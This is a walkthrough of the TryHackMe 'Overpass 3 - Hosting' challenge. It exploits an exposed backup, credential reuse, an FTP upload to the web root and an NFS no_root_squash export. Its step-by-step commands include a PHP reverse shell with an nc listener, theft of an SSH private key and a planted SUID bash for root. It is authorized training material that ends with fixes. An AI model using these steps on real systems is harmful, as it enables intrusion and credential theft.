Overpass 3 - Hosting
A publicly reachable /backups directory leaks a GPG private key and an encrypted customer spreadsheet; decrypting it reveals reused credentials, an authenticated FTP write to the web root gives RCE, credential reuse reaches a local user, and an NFS no_root_squash export plants a SUID bash for root.
A walkthrough of the “Overpass 3 - Hosting” room from TryHackMe — a CentOS box. A forgotten /backups directory under the web root hands out a GPG private key and an encrypted customer spreadsheet; decrypt it and the reused passwords unlock everything. An authenticated FTP write into the web root gives code execution, credential reuse reaches a local account, and an NFS no_root_squash export turns local root on our box into root on theirs.
Overpass 3 - Hosting is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The decrypted passwords, card numbers, and all three flags are shown as
<redacted>/thm{<redacted>}— real on the box, withheld here.
TL;DR
TL;DR
gobuster finds /backups → download backup.zip, which holds a GPG private key and CustomerDetails.xlsx.gpg → gpg --import the key and decrypt the sheet → plaintext customer credentials (and card numbers) → the password is reused on FTP as paradox, whose home is the writable web root → upload shell.php → RCE as apache (web flag) → su paradox with the same password (credential reuse) → LinPEAS shows /home/james exported over NFS with no_root_squash → tunnel NFS over SSH, mount it, read james’s id_rsa (user flag) and SSH in → as local root on the mount, drop a root-owned SUID bash into james’s home → on the box ./bash -p → root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0
80/tcp open http Apache httpd 2.4.37 ((centos)) # "Overpass Hosting"
The vulnerability
The box is a chain of trust mistakes, but two matter most: a sensitive backup left world-readable under the web root (initial access) and an NFS export with no_root_squash (root). Reused passwords glue the stages together.
Insight
no_root_squash is the opposite of root_squash: a client that connects as uid 0 stays uid 0 on the server’s files. Mount the share as your local root and you can create a root-owned SUID binary that the target will happily execute — instant privilege escalation, no memory-corruption exploit required.
Step 1 — loot the exposed backup → credentials
gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirb/big.txt # /backups
wget http://$IP/backups/backup.zip && unzip backup.zip
# priv.key CustomerDetails.xlsx.gpg
gpg --import priv.key # "Paradox <paradox@overpass.thm>"
gpg --decrypt CustomerDetails.xlsx.gpg > CustomerDetails.xlsx
xlsx2csv CustomerDetails.xlsx
# Customer Name,Username,Password,Credit card number,CVC
# Par. A. Doxx,paradox,<redacted>,<redacted>,<redacted>
# 0day Montgomery,0day,<redacted>,...
# Muir Land,muirlandoracle,<redacted>,...
A single downloadable zip just leaked a private key, three sets of credentials, and customer card data.
Step 2 — FTP write to the web root → RCE
paradox’s decrypted password works over FTP, and the FTP home is the Apache web root — which is writable. Upload a PHP reverse shell and trigger it over HTTP:
ftp -A $IP # login: paradox / <redacted>
ftp> put shell.php
curl http://$IP/shell.php # fires the reverse shell
nc -lvnp 4444
# uid=48(apache)
cat /usr/share/httpd/web.flag # thm{<redacted>}
Step 3 — credential reuse → local user paradox
su paradox # same password again -> local shell as paradox
# (paradox has no sudo rights; enumerate for the next hop)
Step 4 — NFS no_root_squash → james (user flag)
LinPEAS flags the export:
cat /etc/exports
# /home/james *(rw,fsid=0,sync,no_root_squash,insecure)
NFS listens on the loopback interface, so tunnel port 2049 over SSH (drop your key into paradox’s authorized_keys first), then mount it locally:
ssh paradox@$IP -L 2049:127.0.0.1:2049
sudo mount -t nfs -o port=2049 localhost:/ /mnt/nfs
cat /mnt/nfs/user.flag # thm{<redacted>}
cp /mnt/nfs/.ssh/id_rsa . && chmod 600 id_rsa
ssh -i id_rsa james@$IP # shell as james
Step 5 — no_root_squash SUID bash → root
Because the export is no_root_squash, files we create as local root on the mount stay root-owned on the box. Drop a static bash, make it a root SUID binary, and run it as james with -p to keep the effective UID:
# on the attacker, as local root, writing into the NFS mount:
sudo cp bash /mnt/nfs/bash
sudo chown root:root /mnt/nfs/bash
sudo chmod +sx /mnt/nfs/bash
# back on the box as james:
./bash -p
# whoami -> root
cat /root/root.flag # thm{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated download of a backup exposes a private key, customer PII, card numbers, and reusable passwords. Those reach FTP write access to the web root (RCE as apache) and a local account, and an NFS no_root_squash export escalates straight to root. The whole chain is remote, deterministic, and needs no exploit code — just downloads, a reused password, and a dangerous export option.
Recommended fix
Fix
- Never expose backups under the web root. The GPG key and customer spreadsheet should never be downloadable; rotate the leaked key and every exposed password and card number (treat them all as burned).
- Stop reusing credentials across customer records, FTP, and local accounts; one leak shouldn’t open every door.
- Don’t let FTP write to the web root, and disable execution of uploaded files.
- Never use
no_root_squashon a network-reachable export. Preferroot_squash(orall_squash), read-only where possible, and a host allow-list.
Takeaways
- Exposed backups are a goldmine. One zip handed over a private key, the customer database, and the credentials to reuse.
- Credential reuse chains services. The same password unlocked a customer record, FTP, and a local login.
no_root_squashis instant root. Local root on the mount becomes a root-owned SUID binary on the target.
Overpass 3 is a tidy reminder that the flashiest bug isn’t the problem — a downloadable backup and one NFS option are. Thanks for reading.